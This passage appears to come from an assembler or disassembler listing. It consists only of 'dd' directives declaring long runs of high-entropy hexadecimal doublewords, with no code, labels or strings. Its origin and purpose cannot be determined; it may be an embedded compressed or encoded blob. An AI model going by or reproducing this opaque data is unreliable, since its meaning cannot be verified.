1579AD73h, 7162F818h, 5A18696Ah, 0C4DF4A31h, 0E46FB630h dd 126CB6AEh, 0D6B687B3h, 0E3018B2h, 7A7B148Fh, 592A80FCh dd 165B958Ch, 0CE181559h, 5FAF3655h, 0AD8B801Ch, 12D8F9EEh dd 0FA50CC26h, 9529D231h, 5F27916Ah, 41AF6056h, 57110A69h dd 0EDB11466h, 35BD0382h, 89F3D52Ah, 23099D85h, 582CE0CDh dd 0D38166A0h, 0E2910D25h, 0C67D00h, 2B050797h, 57493997h dd 6CCBCA6Dh, 86AD122Dh, 40E2BF61h, 0DF81AE00h, 17236508h dd 12E71B97h, 8D20E9B4h, 0D14EE384h, 3AAABB8h, 0A2A307C9h dd 428792B5h, 1D177965h, 441EC032h, 5BF88AE2h, 0CCF7CEFFh dd 0C5DF0788h, 27499621h, 0B35B4B50h, 38D63270h, 360B34DAh dd 8083E49Dh, 0FA155559h, 81751CC5h, 2C5D8589h, 8ED72B2Eh dd 665664BDh, 758E1282h, 5BE901F9h, 0D7A470CBh, 75294514h dd 0D6522591h, 0A61E6F67h, 8F25DE42h, 1E4005D2h, 320F8F28h dd 0F92F0180h, 44F6C966h, 2B8B5C00h, 0DFEB86F7h, 0A8C80BD1h dd 66D7369Dh, 3ABF1AC4h, 0EFDD55A2h, 0F84609Ch, 3E055E60h dd 529BCC20h, 82D14740h, 37BA97h, 0A9F5BB49h, 1F7DC7D6h dd 0FE8ACD12h, 0C84ED9E3h, 0CE013639h, 7310E141h, 282E67C6h dd 0DBE60B4h, 868E4F6h, 6476914Ch, 771B410Bh, 0B0CB0ACDh dd 72165D0Eh, 31BD0025h, 0AB75BB98h, 0C7B00155h, 71159525h dd 0F07027B6h, 0CBEBD9BDh, 0F0FF754Ah, 336D033Fh, 0EA5B414h dd 0BE5CAFFAh, 9CFF8192h, 0CB0062BAh, 6F0CFEEh, 1EAFA58h dd 25F42B6Ah, 2BC18B1Ch, 6412D320h, 4A6E002Ah, 5DCBC704h dd 570369CFh, 30E161A2h, 5C1FDA80h, 0B55552C5h, 3B2F00F2h dd 50F9A832h, 0A940F6B4h, 8773FFh, 48F5786Bh, 0B0A53E5Dh dd 634F7504h, 37F102CDh, 45B8D939h, 0A7CBA101h, 651C4647h dd 4025A420h, 0BB136620h, 0B44EFE48h, 6FAE92D8h, 8F5A285Eh dd 0E96E8813h, 870CDBAAh, 5E919BE2h, 42BF8A6h, 0EAC08391h dd 2A50DAB0h, 185FD8Ah, 92D4C781h, 7F6A559Ah, 428095ECh dd 1C79BD8Eh, 1CC0600h, 77361ACEh, 5F6C3B5Ah, 0EE552D05h dd 87BF3471h, 0F0E4902Ah, 3A005C45h, 0F1994CD0h, 25BC4AF6h dd 767877CCh, 51DC45B5h, 0B982CA4Dh, 0A9E1AC86h, 0CE75C265h dd 0D1FF2D1Eh, 0B40B84B7h, 0E96618A2h, 8A200B4Ch, 0EE04035Dh dd 715B091Bh, 545844A9h, 6AE10C73h, 4E6D9C02h, 8927FE12h dd 0CA938139h, 0F83F5C54h, 0FB93C68h, 0C9456325h, 12E204D9h dd 0A94A79ACh, 2FCABC5Bh, 3AFA7E30h, 13506197h, 0AA6F762Eh dd 3CBE9D4Fh, 439292CDh, 0FE54BB04h, 7A801B08h, 93E429D1h dd 70F7D24Eh, 3C05CD2h, 0B7F8D00Eh, 534E3F2h, 2219BD31h dd 0A9A89B53h, 0AE202E8Eh, 4BC085DDh, 95EA4700h, 0A6F5162Dh dd 0D97C0235h, 9050ADDAh, 27DC4654h, 0D56ED1h, 0F725BFCBh dd 0A0754FADh, 0E3AA7DF9h, 1981BB40h, 0F86E6181h, 0C204AA73h dd 0B821CF80h, 7AEF9222h, 89EA4B3Eh, 0CFE92EB9h, 82EC39A9h dd 0E0B34D65h, 94FF6AE1h, 223ADC58h, 410500B2h, 3FA0A5EEh dd 169AB8BAh, 0F834A4BFh, 0E1513B1h, 2877ABEh, 0BB1C7CA2h dd 0C49C5C5Eh, 33BF400Eh, 9558C725h, 85319458h, 70E67111h dd 0C389F07Ah, 71583A79h, 0C9FE25A1h, 8114ED89h, 2E963635h dd 33AA7B12h, 1C12C171h, 73E1DE12h, 0FEBA202Ah, 1100CE06h dd 1ED07C36h, 975003F7h, 0BF527700h, 0E16B7B5h, 4FAB5F47h dd 8110691Bh, 95895251h, 5F38B739h, 48A5E995h, 0E05D6912h dd 47285571h, 0F97CA949h, 55750B97h, 0C2F3BFC6h, 89D0B875h dd 0BC6B513h, 0E8F9244Bh, 1D4EDBC0h, 0F3D79BBh, 403ED18Fh dd 0E92F7FDBh, 0DD155D69h, 8812C29Bh, 8AE3C90Dh, 0EC5DF525h dd 88DF4BB3h, 578A3A90h, 2021C438h, 9D901497h, 1F804E71h dd 0A01546BEh, 8E4C000Fh, 0FB9BE327h, 992A9D31h, 0A4829D1Ch dd 0FE8B9318h, 0E9E3097h, 0FDE85EEAh, 153BCD2h, 0E8FFD898h dd 0A733D380h, 8925DBAh, 0C9A9D607h, 33A8B171h, 0D1B9FB1Eh dd 6EEE4A38h, 38CA0584h, 458157A3h, 896FFCE1h, 0ABE83AE6h dd 0A8A8704h, 29A3FFE0h, 0FCFA8B0Bh, 75A5BBB7h, 8529ED81h dd 0B8739ADh, 5413C9BDh, 9D23C0FFh, 24972259h, 38B8F87Ch dd 93AACF5h, 0F7563E5Eh, 890988C4h, 711B558Dh, 135B6B11h dd 0B2E050h, 816B771Dh dd 75866FEBh, 9A3153h, 0E2C026D4h, 196ECBh, 95B64BC1h dd 0CC2E1CE1h, 0A70C1F97h, 0F019037h, 0FAD780E3h, 756E7Eh dd 80D0BEA1h, 3EBB585h, 0B86044A4h, 4BD06348h, 90961F8h dd 0D70AF195h, 5D44101Ch, 0F9C70481h, 0BD163A8Ch, 8C17A883h dd 9F0BDF0Bh, 58582D8h, 6DF17D2Ah, 12245942h, 677090D3h dd 0FA31252Fh, 0EA0B0AC5h, 97CE3D03h, 17A4E2EFh, 2BBEDFB0h dd 2DCA4ABAh, 0FF76C334h, 91C0D0DBh, 0F8E9E4EDh, 97FD8502h dd 0FD662B3Fh, 5866A5D9h, 10D4955Dh, 8112266Ch, 8AF57B60h dd 0E8BADA44h, 0D4DB9249h, 36FA0C81h, 0D6BD3E97h, 73D0F4Ch dd 84144BFDh, 0E0B6A633h, 0B5087BB5h, 0E91D0B05h, 59012D1Ah dd 2F219ED9h, 54256B3Dh, 0FE90AF8Ch, 33044C02h, 548EFBE5h dd 4BD72C1h, 0ABFFBC2Eh, 28060373h, 63D0D7C9h, 47F3BF7h dd 0CBAA3239h, 45A64E87h, 3BFFA1A0h, 4984E20Bh, 1192DE90h dd 0AD603804h, 0D05CFB61h, 48394B73h, 122B0943h, 44737024h dd 8B25F501h, 605A42C7h, 9081D96Dh, 1B52000Dh, 0A5976815h dd 0E2B77EA9h, 3DB656A4h, 0A5B6A69Eh, 96EB2788h, 0CDCCEEF8h dd 1C6E09DBh, 1E8E0C5Ah, 20F5AB52h, 0ED4DF96Fh, 61E93DECh dd 0E780C170h, 9B342E5Ch, 0D580A6E8h, 0BA7BCFFFh, 0FD245303h dd 899A1520h, 85C07989h, 0BB990135h, 3B7CBE86h, 0FFFE935Bh dd 81DB2AABh, 12DF8042h, 0BC6A62Ah, 5523F59Dh, 75D0963Ah dd 0CEFC0DD6h, 29FC0612h, 0B06C6658h, 2514F799h, 0C0C006F8h dd 965AF98Bh, 44E8F2E0h, 0CF01F808h, 3493C3DAh, 853B7A9Bh dd 0E07A81D8h, 0BEE02A12h, 0C856B550h, 40244DE9h, 0FCC8E56Eh dd 54D72D02h, 5C174A73h, 0BF3365CFh, 9681FF4h, 4EC1731Ch dd 70E33918h, 30BDE79h, 552515BDh, 83C09C15h, 9521BA51h dd 5F49E554h, 9EE5AA89h, 745FD7C2h, 1638A481h, 0AB5CC411h dd 4D430E6Bh, 6A0BBE4Ah, 853D5561h, 7F0CB0AFh, 0DF490483h dd 0AC50B3EFh, 1719A333h, 0D7B5292Fh, 0B7F34E34h, 497B000Dh dd 0BF840847h, 95DE704Ch, 467CF96Dh, 0CE3A001Ah, 0A71673Dh dd 0AF2F9925h, 0FD004DCh, 84DB12C6h, 0EC508960h, 3716422Eh dd 0ADE8AEE1h, 63E85FA1h, 75D902F8h, 74AD8B2Eh, 71684020h dd 6B00B725h, 83F64808h, 2F5AE36h, 0F2DC0B2Eh, 96586EE9h dd 39BBF94Bh, 370C250h, 5F7A819Bh, 9480B174h, 8A6D3118h dd 0EF8102FCh, 4F225E95h, 0C7972945h, 834C9EFBh, 3F1071CDh dd 0BBDB31D4h, 0B44D786Eh, 6F603ECEh, 0B08ABD0h, 1D52719Fh dd 0BC0D9389h, 6ABA4BEBh, 0A7D84F88h, 0BE6F1D1Fh, 0B8D79296h dd 9739C02Ch, 0E65DBF9Bh, 0B59CFEEDh, 1D6427CDh, 3A2DAA64h dd 839DFE6Ch, 0B4C5B6FBh, 91FF008Dh, 6AF3BEC2h, 899D9A4Bh dd 0FAA87929h, 64C4C75Bh, 30B9A181h, 0BABB9600h, 5216940Eh dd 4FF5C150h, 60F21F54h, 9D1A41F3h, 18796773h, 54AB2A19h dd 0C2C0CBBCh, 56F36A82h, 491C4A00h, 90EC53A2h, 27B00607h dd 0B2F1A7E5h, 30BBDA4Bh, 3160F89Ah, 1258527h, 8D8B56FEh dd 21BDE53Ah, 0EED514F3h, 7A039A7h, 7D00C276h, 0AA2A486Ch dd 9D8D0F43h, 2540C5F9h, 4EA8EA70h, 0AC9AADAFh, 0F7048C14h dd 2311BD09h, 0C309E8AEh, 0D832CC29h, 21C4A9h, 9C3CBBCAh dd 7764A5AAh, 628B7C95h, 0E171F9BFh, 9C4F4A7h, 0FBDB04C2h dd 736C7D72h, 74302D26h, 13527060h, 0C6C0FDE7h, 904013A6h dd 64CDAE0Bh, 3CCC142Bh, 0CB71FE89h, 7FBF89BDh, 8DC6F7C1h dd 26DF7B80h, 5D02900h, 4217614h, 9AA15094h, 0CE7564D7h dd 35E7ABF9h, 0DDD55BF0h, 7FF73A09h, 0AF51E0h, 0AA4C6BDBh dd 40733175h, 7AAD5F00h, 0EE69A43Eh, 8C0F253Dh, 96405E79h dd 3F97537Bh, 629F8105h, 28DA4039h, 5D02DDADh, 5BDC6016h dd 1AAC2BB9h, 67A3018Ch, 6BAB2107h, 985B507Ch, 0D200E4C0h dd 2B82DD2Dh, 0EC430Ch, 0B66B9560h, 4767BB75h, 5B7D2202h dd 742FB750h, 81D42589h, 251E01DCh, 188B7B2Eh, 0AFF96E6Eh dd 99DD259Eh, 282ED9B1h, 0D58A3DDBh, 427B8C1h, 8A2DC1ACh dd 335C5E62h, 3DA9B916h, 9B965B12h, 505980B3h, 29F8522h dd 841FE381h, 0CE5E6517h, 12690055h, 0CB7E636Ah, 0DA01BA5Bh dd 8960A84Bh, 18C1266Eh, 7325E97Fh, 16887361h, 84B8B8FAh dd 0B3BB7647h, 38D60EC2h, 9FEF325Fh, 91F5C086h, 398DF97Dh dd 76587E17h, 800534C2h, 6FDD7F40h, 0CAEE4C17h, 91A2DAEEh dd 4C30C0B8h, 614B6D79h, 9AE7FE57h, 0DEF82ACEh, 0A5DE7CA2h dd 0B0BD27F6h, 68D0B686h, 9665CE17h, 3D12D1ECh, 0F20DF60Bh dd 26BE301Bh, 53CD9A02h, 0F7C92061h, 3D628CCFh, 0E1C2C0DEh dd 43719513h, 49027CEAh, 0F7F4E9A5h, 0DE7C90C2h, 0ED8004DCh dd 0AB92C2DDh, 0B87EDB23h, 83D3C8h, 9CFB637Dh, 0D46CA93Bh dd 0EFC8B4Bh, 12C19E9Dh, 8FD1F8DEh, 675D6ED3h, 80A09046h dd 12577A7Ch, 84FA08BDh, 49B404BDh, 815F002Ch, 0BE6832C7h dd 0E5AD9B33h, 0E32C5CCCh, 5A17D919h, 7621203Ah, 4100CCC6h dd 64964CF7h, 2417348Bh, 40A89589h, 6FD3F681h, 24BF3Bh dd 4CB86AEEh, 1FBB571Ah, 182B3016h, 0CDFA1A59h, 0B817D704h dd 1FC2AFE8h, 0FA996656h, 688839E2h, 1E0FA392h, 57E540A1h dd 0DB19B88Eh, 804798B5h, 5BCB01D5h, 0BB17048Fh, 1F5730BDh dd 15633FB8h, 0FDEA81C7h, 1158F5C3h, 38241D18h, 0EA2C45C2h dd 5BF4D180h, 9F1310DDh, 190465B7h, 580013EDh, 98B8FA81h dd 9AD5FFA2h, 0A9A602B9h, 1FE90230h, 1288E20h, 67B20012h dd 0A66D42FCh, 8B0DBAFDh, 465BE9DFh, 38C0FBC8h, 5D87AE21h dd 10248CB4h, 7C2206BCh, 9E940E00h, 0BD3FC8E1h, 169B07E9h dd 20A2465Ah, 8EEA152Fh, 3CE4F700h, 12B68596h, 0CE06009Bh dd 0E91D1EB7h, 0B4663EC5h, 0EFEA5739h, 19F795E4h, 8A53612h dd 792180AAh, 0D93B58B3h, 4157D21h, 52930542h, 0B7B80706h dd 0A612B313h, 6D760010h, 6B9FC026h, 7BE297C5h, 21F008DEh dd 266550h, 54FB0CF7h, 0F5129399h, 63F898C0h, 419B7061h dd 5D3080E1h, 8BDAD0FAh, 0CFCA0015h, 60B83292h, 4A60BB05h dd 0BFD21F88h, 0EA18CF80h, 1047B784h, 8C6CB84Ch, 7CBDA20Fh dd 2A15019Fh, 58808DA8h, 8B395A7Eh, 48E87784h, 0CDE2B200h dd 0A6946299h, 0E9F500CFh, 7AA17F1Dh, 0A000E1AEh, 0ACF74B8Ch dd 0F2F6EBA9h, 0DAE0A2h, 289C4079h, 718EB72Ah, 0C1E57F00h dd 0AD37732h, 1ECF0ED4h, 0A5A0D0B4h, 0C8D8E3F6h, 0E89D5400h dd 52C20444h, 64580019h, 8701203Dh, 5F0068F8h, 3C09DFEEh dd 0C6F692h, 0A79E46Ch, 2D45D199h, 0AF02F472h, 23586D56h dd 206F407Dh, 0DAB00031h, 0DD99B61Eh, 54FA3286h, 0E794641Dh dd 0F3071A00h, 73308061h, 95863E55h, 0D7980238h, 0F1D18CDh dd 62AE38C3h, 99B9A0C4h, 0A90331DAh, 0BEEE9051h, 85BD1E08h dd 0B4611300h, 4DBE75h, 4454DB77h, 5134C01Bh, 44A33F28h dd 5C07B900h, 6A46CCC7h, 0C38820F2h, 0D63171Dh, 2D3924C6h dd 50CA0130h, 0C285AB72h, 70BE203Ch, 10AE4630h, 83F81Bh dd 45DF0311h, 6167AF15h, 0DCCF5700h, 0F4BB20Bh, 0F58D00C1h dd 6B329DF6h, 1D01E82Fh, 12A00DF2h, 46C4C3F4h, 0C1CB01DEh dd 2FD7D8BFh, 0ED87CC5Ch, 0F51E7B0Eh, 862B81BDh, 48D0429Ah dd 11FF63Ah, 0C3A885AAh, 0D424DAE3h, 0BA306BB0h, 0A5FE180Ah dd 0D46D0368h, 0E24EAF23h, 0D79D42C0h, 721803F0h, 7B282AAEh dd 9609303Ch, 0B7F60261h dd 74A6300Eh, 33AEFFBh, 98859EABh, 642192Ch, 0A687471Bh dd 609530A4h, 503A0128h, 78BE14E6h, 424C000Ah, 0B5CCCD87h dd 78C08862h, 0A77C7DFBh, 1CD1D0EEh, 19F443C6h, 0C0CDC630h dd 32C23C0Ch, 0B598D623h, 610BB010h, 66F8E942h, 5C21A182h dd 50175951h, 0A4CFA3A0h, 1D9F938h, 7DF3234Eh, 208028C2h dd 3DC7EB7Bh, 0FF1D2B0Ch, 0AF16C63Ah, 0C1626A0Fh, 0DC426332h dd 4FF3B180h, 0A70633E1h, 0B7A00B07h, 4540ABCCh, 0C620B0C8h dd 31834251h, 8259B73Ch, 7CBEB1A8h, 0CC19C1A4h, 0C1B8CBF0h dd 60C5C886h, 3D78886Bh, 69E0002Ch, 0F2ACD7D0h, 7778BE14h dd 0F87211A0h, 6FBDFE05h, 6E98003Dh, 0E0508EAh, 6A3CE000h dd 240AB89Dh, 7C454C56h, 7CC68A03h, 7905B5A6h, 0AAB36A01h dd 81582408h, 41F84CDBh, 43B9C389h, 38C19393h, 442E1B00h dd 15C770h, 9446E6B4h, 0D866606Ch, 4E267A03h, 0EB06CB56h dd 7459F845h, 0D44414AAh, 0BE06C04Ah, 189A41EEh, 59879130h dd 0A11EAAFh, 672E0AA0h, 0F3D300D8h, 74B3A1A9h, 3E2BA300h dd 75D2FDC5h, 43C240Eh, 67A6425Ch, 0AAB8ECA0h, 0D200C66Ah dd 3C0D8B9Dh, 1F73A729h, 0E33893h, 25745E0Ch, 6B0364FAh dd 6EAB470h, 0FBA2E049h, 0A7C60288h, 3AC2BA9Dh, 6382DCA0h dd 6D00A5FCh, 53DF85EFh, 75D70C15h, 434717A7h, 0FC600CAAh dd 0F6308DC0h, 712A390Dh, 3C68496Eh, 4A001622h, 3C4313ABh dd 3B743B7Bh, 0D88083BAh, 0FFAB6B3h, 7E09E8FEh, 11BCE6Ah dd 0B0D9C270h, 0F960D440h, 5BD338A5h, 8EFB0378h, 0CADA541Bh dd 4D82E3A8h, 253FAB00h, 0AC61FC53h, 7121E35h, 0D1E540D4h dd 4A63B0F0h, 0CC305960h, 0C0FB832Dh, 68A7A28h, 660747D4h dd 0D063DBC0h, 310381E0h, 40C360BDh, 56267205h, 60581D3Ah dd 247BB410h, 71D103EFh, 6A5501F1h, 21BF0830h, 247315h dd 188AE1B3h, 8E3A9E14h, 83CE70C3h, 0C7980005h, 0F0B11121h dd 0F200E0BAh, 8A58D7A9h, 1D7AAD59h, 465B4419h, 89BA2FA1h dd 7B503E00h, 0A58E8C3Dh, 8069001Dh, 0C3ED4E74h, 560087B6h dd 0D5B02D78h, 664CA7Eh, 71AF8E15h, 0E80CC04Ah, 0D80F9933h dd 3AE500D2h, 32EE4312h, 0A400FA39h, 0D4BF892Eh, 0A932490h dd 47CCFCD3h, 0C0AF1DB3h, 0BC11AA0Dh, 50ECE7D7h, 57A15D00h dd 33216A7Ah, 79DE034Eh, 2F7C1615h, 0D2A2CCC0h, 3A87AD0Bh dd 32778005h, 0A54209Ch, 771775DFh, 0E21E07A7h, 40DAE7D6h dd 64E47B42h, 90713301h, 7414B1C2h, 0E686D0h, 7DD3B2DDh dd 85644CA7h, 0FA193007h, 4310ACFEh, 10DBB4h, 0F9403DC4h dd 0DADF0DC3h, 175B9B00h, 0DB7887F0h, 8886377h, 2001C440h dd 125B943Ah, 96D46003h, 36A81337h, 4FAB00A7h, 80513150h dd 28566800h, 99FAC516h, 0C0DF74B4h, 2943F60h, 7E2EA12Dh dd 8E0E14E8h, 21D68DE7h, 0E029DE4h, 0BED50791h, 39B1CA00h dd 5B00A456h, 26DBB9F5h, 0C8DF0CA7h, 0E1C007B8h, 46F01158h dd 4122B7h, 6B5B998Ch, 0A8D0A7C7h, 9807B701h, 1627D8B0h dd 46B05046h, 283029Ch, 3166A130h, 9C6410D0h, 0D6D50302h dd 0B94F0834h, 97D74F0h, 0A7B84673h, 5C6EE00h, 323C8879h dd 59AB3BF3h, 0AE71FB80h, 0C293090Ch, 0E3FAA0C0h, 3949F2Fh dd 4E04E750h, 830D749h, 68921DBh, 3513009Fh, 0DE5D67F3h dd 4918FD5Fh, 80B1154Eh, 0C61728BCh, 5CF90C94h, 4F80282Ch dd 642F530Fh, 1EFAC0DAh, 0A04518C8h, 1BAA6D0h, 1295672Bh dd 40D62E22h, 0A4EA72BBh, 0E30EAB00h, 0DF79A6F4h, 61C90005h dd 0EF5C4B2Ch, 0E13E5E9Dh, 6B91001Ah, 88E3C013h, 830E5023h dd 1370012h, 538C6C7Bh, 8601B47Ah, 0B18DE0B8h, 11DCA083h dd 17820168h, 8C765D19h, 4B37E4DFh, 832F5700h, 0B2E5846Ch dd 643A00ABh, 50995DC0h, 81006BFAh, 4F35F6C2h, 0F449D7DFh dd 0CD1C0045h, 0D1B330D8h, 0DC0025B5h, 8C935906h, 0DB72F9h dd 0D7331380h, 9FBA30AFh, 0E423C11Ch, 39F24C80h, 7477C80Ah dd 0F0AD00F9h, 425EA7A8h, 7BE288DBh, 4917AB00h, 3D9635F2h dd 14541EFEh, 0B896D2h, 70AFF00Fh, 2B0C5A60h, 20C97A6Eh dd 0E09E0F49h, 203417CFh, 60CC4FE3h, 181A1FD6h, 3003B4EAh dd 4B98CE88h, 6DAB3501h, 6CC32DEEh, 0C01FE4D0h, 87C6E920h dd 9618B5E7h, 0D05894BDh, 0C5A17017h, 866E35C8h, 300A197Ah dd 30131FD7h, 4D87CD41h, 0A96C2620h, 9017E730h, 0A71687C5h dd 9AD9D72Ch, 8E2AF70Fh, 80482E27h, 576903A8h, 3CCD716Bh dd 0C61995B4h, 875B08ACh, 74BF0C21h, 0ED6E00EFh, 18B0202Ch dd 999D8E36h, 9F1EECF1h, 3030C683h, 68DD7FD0h, 8A8C00Eh dd 0C78FC872h, 0A9795934h, 0E151BFE0h, 0E302A8BCh, 8AC80323h dd 82B49640h, 0B8080C66h, 1BD40E21h, 33C04303h, 51081CC2h dd 868B5706h, 7160CAC9h, 9C8CA8AEh, 0B0C61BA9h, 52C090C4h dd 627D4021h, 4CE3DC06h, 6008F471h, 0DAAD2195h, 50003040h dd 0C1215D1h, 167A48Eh, 6C1FC321h, 0DC88AEF2h, 3890E696h dd 0F294503h, 10B79095h, 0C05054C8h, 8A27031Ah, 6448C1Ch dd 1CBA98C1h, 0CACD9417h, 3894BABDh, 7C992C00h, 0C8889602h dd 49653410h, 4030408Ah, 8A23037Eh, 4223C46h, 316D503h dd 0F05BDC56h, 3DF3C2Dh, 5391A4A6h, 40D05D77h, 9FFCCBBFh dd 0E429C815h, 0B06446C8h, 167CE63h, 0ACF58D15h, 0C082CAF0h dd 12EAEEEh, 161A7F54h, 42884130h, 67CB2824h, 0E040801Fh dd 0F4CA1CC8h, 0F5C7C4A9h, 8A91809Ah, 37B4C621h, 80720C4Ch dd 0F9B0B115h, 6ED0B588h, 2124836h, 6D5468F8h, 35097C44h dd 23998E66h, 7CAFB60Ch, 0D908F561h, 78B7A720h, 46020978h dd 0E017D7B0h, 0C980EC91h, 0DB327A03h, 0C02E2D02h, 0A031559Bh dd 8420C94h, 0FDB31C43h, 759380F3h, 7179E321h, 2365E900h dd 0E7614902h, 0B78E004Ah, 7C80C99Eh, 7B0D4C35h, 185C5631h dd 0A99D1040h, 76C93F2h, 541E4025h, 20FF62FCh, 5B40DEB1h dd 9B517500h, 0B03792C5h, 7B8C0039h, 9830C9F1h, 0CCA9EA83h dd 36D8D12Bh, 6B5A020Ch, 30ACCE78h, 980F3A0h, 0AB6B0042h dd 52D2E712h, 0FD0993F9h, 0A02BFA02h, 0B54071CCh, 0AEC42842h dd 0A98B24F4h, 5964A1D0h, 390188Ch, 1427CE5Fh, 50A3EC96h dd 0B04CA900h, 0CB1D6CADh, 6E61008Fh, 841C316Ah, 10922CC2h dd 23EECA0Ch, 4036F0ACh, 751250F1h, 0C00905D5h, 0FE4833CAh dd 293600A9h, 98EA4357h, 0F9C9A196h, 0B5A40054h, 0F0ABB8C6h dd 55018189h, 932C05F8h, 0E9800E9Bh, 97CEF34h, 76C25528h dd 3B8F3429h, 24B25CE9h, 80EF7F61h, 621379F1h, 4AFDE9Eh dd 157D7673h, 29B081E2h, 58AC205Fh, 45810344h, 45BC2046h dd 2819C492h, 0C098B097h, 0C882E853h, 4890852Dh, 1607A826h dd 8929C738h, 18410099h, 2603091Dh, 0C89C148Ah, 315C20Bh dd 9DFF0096h, 51B83C9h, 4C5728FFh, 0DA088753h, 7D688798h dd 62B40A55h, 6702A947h, 0C40847A8h, 9D126780h, 3DF48521h dd 6A47D400h, 0A402969Fh, 4C81F288h, 0FBC04CE8h, 6D53F6AFh dd 981FF820h, 391946D8h, 355B1277h, 0B0F8F414h, 87CFE8h dd 65A7AA23h, 0DC75C94Bh, 6C98DA03h, 0F1EBE1h, 0C1ACA29h dd 295F9366h, 179A7300h, 0F0FC33BEh, 0A9E97325h, 0CC181C40h dd 35588704h, 0E5326D5Bh, 87C4F720h, 1BE1006Ah, 0BFCF440Eh dd 11295FD0h, 8A01B015h, 0CEA30802h, 0A1F665F0h, 4424C080h dd 0C31C13A8h, 32B821C8h dd 89198F15h, 20725FB9h, 0D81121F0h, 0DD18708Fh, 6B59048Ch dd 0CE84CE7Bh, 4106000Ch, 0CAB1E46Bh, 0CEDD00C0h, 0D2269F33h dd 8360E677h, 599E31A8h, 14550049h, 0B9DAA5C1h, 2900C33Ch dd 0B78FBF62h, 3293E8h, 0EF760156h, 31C84B58h, 39CAA50Fh dd 3B66A320h, 0D240066Fh, 588AFE47h, 0C85C9300h, 0ECD0AAEBh dd 30A0B857h, 2728A9A6h, 0A03A767Bh, 4D613F17h, 0E87824B8h dd 50A36A02h, 1F106132h, 20B1E993h, 9493B9A4h, 88658400h dd 0A1D8A55Fh, 9BA300CFh, 199C861Eh, 0C13A444Dh, 60DBBF4Bh dd 5FD1CCC0h, 0C0DC5157h, 0E488344Eh, 11F71BC7h, 10805FE7h dd 0CCAB78E2h, 0A8295541h, 0DB6CD21Fh, 6380D79Dh, 8242A24Ah dd 542A30EFh, 6F5952C9h, 6840900h, 68153C8Bh, 0D88200E4h dd 0A72C8872h, 1628317Ch, 0C3008870h, 0BC0B05C5h, 5133F363h dd 80CD9C5Fh, 0B1BCB829h, 2711C942h, 2009A93Dh, 9F61CCC3h dd 580328Ah, 0FFF947CEh, 0E323B83Eh, 0ED9A3307h, 29CB07D0h dd 0CA540566h, 74C9F88h, 60571384h, 5012946Ch, 0CF00F0B1h dd 912C6AB2h, 33720056h, 55B9E03Ch, 0C04CF810h, 0EA200D34h dd 8EF489B6h, 0C9F0171h, 6DE92953h, 6B402079h, 5987830Ch dd 71090CBh, 0E2FE2433h, 7129B0C2h, 0E9078255h, 0D0B9C947h dd 0C090A8F0h, 79A40049h, 8E354C64h, 7490A681h, 4022C624h dd 98BE8201h, 90504B9Dh, 0FC07717h, 218611E9h, 21DAAE0h dd 99F40EF8h, 72D084ABh, 880379B6h, 55340DCBh, 88E5DB6Dh dd 51A546Bh, 255B3D2Dh, 782480CDh, 0CE037951h, 46282B95h dd 0DCCFBB7Bh, 0EFC82480h, 2A343EBBh, 60003458h, 0E0A83744h dd 9748A7F9h, 49900124h, 99C9BB89h, 1B50E4h, 0E2E39225h dd 30D6805Ah, 0A5133Ah, 0A983E76Fh, 0B751E5h, 5E04C201h dd 888467F8h, 0FDD33D03h, 0C1C9B3E9h, 8BEA92Fh, 0A3719E00h dd 0A21E3FF6h, 101F2A00h, 70ACFD5Eh, 0E24F0778h, 0CE6DB943h dd 97876B80h, 8D00D9F2h, 4504D854h, 1D1CFD3Bh, 0BCF14717h dd 70F8987Eh, 104EA89h, 0D2639E2Dh, 8097A465h, 0EE8CBB70h dd 3CE467h, 0A99FDAA3h, 76FDD00Eh, 6175B300h, 9A97BD8Ch dd 0D6DC00BEh, 1FB22F36h, 3D004D94h, 4313B826h, 5A5E77h dd 0C6EF33D5h, 9038B158h, 3285BB06h, 168BA23h, 520E4613h dd 0F4EDD27Dh, 0E70065A6h, 84C0DD0Fh, 39F7F1Bh, 0E0897761h dd 0CDA176D1h, 0DE2080E6h, 8091B8Bh, 859900CCh, 430D3205h dd 753CC49Fh, 0B5ED9EBCh, 4BF66980h, 0E760DDh, 8FD75635h dd 10B05F78h, 7C620200h, 4A494132h, 98193B18h, 9ACDC200h dd 7E58BB44h, 0A091F803h, 6499170Ah, 6186A878h, 9FC01B89h dd 29448C79h, 289C5CDBh, 6A19A309h, 18B71B00h, 341EAC0Ah dd 0E7D9AAA1h, 51837560h, 8B8DC4B1h, 0D524C000h, 8636FB18h dd 59E330B8h, 0DEA0F6C8h, 0FE5AD0C0h, 80E2F8h, 0A3881575h dd 4A3446A6h, 9EF04200h, 0E22120B8h, 15051D94h, 84D580FBh dd 3686374Ch, 6AA3ED00h, 6EDE4166h, 58BA19C3h, 1888E015h dd 7E1B08B3h, 2EC4699Fh, 1B9E405Ch, 6EBF5AAEh, 0ADE4F500h dd 9D61235Fh, 0C08A7432h, 5A87BD48h, 0C5060591h, 0D53C5771h dd 0C8596008h, 5AEE470Fh, 19324500h, 0B22707C0h, 480E6481h dd 5A28609Eh, 0ED052392h, 7C004211h, 0FC795AF7h, 0A403CB81h dd 334E726Ah, 0E0410183h, 0DD6E82C8h, 8920E4F6h, 0C5C01605h dd 0F8001DBAh, 72183E02h, 576606B7h, 386794D7h, 0C08988C8h dd 5955A83h, 5522E546h, 5AEA7B01h, 3EDE31DFh, 50E4E530h dd 1860989Bh, 7492C656h, 0A00C0A58h, 59880240h, 857C005Bh dd 0D0E13494h, 0E418AE01h, 61382AE8h, 0B80B182Bh, 95474999h dd 0C081CB00h, 6E646A86h, 7308C697h, 0D900202Bh, 3152CB8Ch dd 130D7BE9h, 38F8B88h, 36BD99C5h, 0E70059A6h, 5684FAAh dd 3195AB3h, 0E9DE85AFh, 21035BF5h, 0B259022Fh, 9B44A021h dd 84A6AAAh, 714AACh, 5222D59h, 3B04990Ch, 56589A86h, 5588048Eh dd 666F95C0h, 87340F5h, 0B1A2DA00h, 36339B82h, 0DEB33011h dd 64C5F7B9h, 1F7FDB5Ch, 848076A2h, 0BE2D3EEDh, 3D9C9095h dd 58B2C210h, 0B493E718h, 248C9876h, 14945A82h, 56884C3Dh dd 5AE94A80h, 98336B2h, 1F2FBFDEh, 0C37F9027h, 6011422Eh dd 7EAE37h, 5C231C4Dh, 7D826DC5h, 77D65200h, 0B8EA7563h dd 864E0033h, 0BCB2DC0Fh, 40C2402Eh, 4837A68Ah, 9160ACh dd 7097941Ch, 0A741BF7Ch, 0B500EAB0h, 0B3130ABEh, 6030FDA4h dd 0C3EEF1B8h, 89008601h, 60CDDC61h, 488AD628h, 12076C0Bh dd 60025975h, 0C57FEC10h, 